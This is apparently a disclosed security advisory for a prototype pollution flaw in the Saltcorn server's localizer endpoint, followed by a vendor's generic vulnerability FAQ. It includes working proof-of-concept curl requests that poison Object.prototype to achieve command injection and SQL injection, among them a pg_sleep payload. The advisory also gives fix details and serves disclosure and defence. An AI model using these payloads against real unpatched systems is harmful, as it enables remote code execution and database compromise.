The endpoint /site-structure/localizer/save-string/:lang/:defstring accepts two parameter values: lang and defstring. These values are used in an unsafe way to set the keys and value of the cfgStrings object. It allows to add/modify properties of the Object prototype that result in several logic issues, including:
tempRootFolder propertyschema property when using PostgreSQL database.router.post(
"/localizer/save-string/:lang/:defstring",
isAdmin,
error_catcher(async (req, res) => {
const { lang, defstring } = req.params; // source
const cfgStrings = getState().getConfigCopy("localizer_strings");
if (cfgStrings[lang]) cfgStrings[lang][defstring] = text(req.body.value); // [1] sink
else cfgStrings[lang] = { [defstring]: text(req.body.value) };
await getState().setConfig("localizer_strings", cfgStrings);
res.redirect(`/site-structure/localizer/edit/${lang}`);
})
);
Setup:
SALTCORN_NWORKERS=1 before starting the saltcorn server (to easily observe the behavior of the PoC)SALTCORN_NWORKERS=1 saltcorn serve
This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain command executed.
cat /tmp/RCE
cat: /tmp/RCE: No such file or directory
Object.prototype with a tempRootFolder value set to ;echo+"rce"|tee+/tmp/RCE; by sending the following request *** :curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
--data-binary $'_csrf=VALID_csrf_Value&value=;echo+"rce"|tee+/tmp/RCE;' \
$'http://localhost:3000/site-structure/localizer/save-string/__proto__/tempRootFolder'
visit http://localhost:3000/plugins/new
testgitCreateecho "rce" | tee /tmp/RCE will be executedcat /tmp/RCE
rce
The RCE occurs because after the previous curl request, the tempRootFolder property is set to ;echo+"rce"|tee+/tmp/RCE; that is later used to build the shell commands.
class PluginInstaller {
constructor(plugin, opts = {}) { // opts will have the tempRootFolder property set with dangerous values // [2]
[...]
this.tempRootFolder =
opts.tempRootFolder || envPaths("saltcorn", { suffix: "tmp" }).temp; // [3]
[...]
this.pckJsonPath = join(this.pluginDir, "package.json");
this.tempDir = join(this.tempRootFolder, "temp_install", ...tokens); // [4]
[...]
}
[...]
}
This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain SQL queries (i.e SQLi).
http://localhost:3000/table to check the page returns some results (no errors)Object.prototype with a schema value set to " (just to create an exception in the query that will be executed to demonstrate the issue) by sending the following request *** :curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
--data-binary $'_csrf=VALID_csrf_Value&value=\"' \
$'http://localhost:3000/site-structure/localizer/save-string/__proto__/schema'
http://localhost:3000/table but this time an SQL error will appear:syntax error at or near "" order by lower(""
NOTE: Another payload to use as value could be pg_user"+WHERE+1=1+AND+(SELECT+pg_sleep(5))+IS+NOT+NULL+--
The SQL injection occurs because after the previous curl request, the schema property is set to ".
const select = async (tbl, whereObj, selectopts = {}) => { // [2] selectopts
const { where, values } = mkWhere(whereObj);
const schema = selectopts.schema || getTenantSchema(); // [3] selectopts.schema
const sql = `SELECT ${
selectopts.fields ? selectopts.fields.join(", ") : `*`
} FROM "${schema}"."${sqlsanitize(tbl)}" ${where} ${mkSelectOptions( // [4] schema
selectopts,
values,
false
)}`;
sql_log(sql, values);
const tq = await (client || selectopts.client || pool).query(sql, values);
return tq.rows;
};
*** Retrieve valid values for the connect.sid (VALID_CONNECT_SID_COOKIE) and _csrf values (VALID_csrf_Value) :
Network tabhttp://localhost:3000/site-structure/localizer/add-langName: test , Locale: test) and click SaveNetwork tab, filter for save-lang and check the request parameters (Headers and Payload/Request tabs)connect.sid and _csrf and paste in the curl command aboveRemote code execution (RCE), Sql injection and business logic errors.
Check the values of lang and defstring parameters against dangerous properties like __proto__, constructor, prototype.
| Software | From | Fixed in |
|---|---|---|
@saltcorn / server
|
- | 1.0.0-beta.14 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.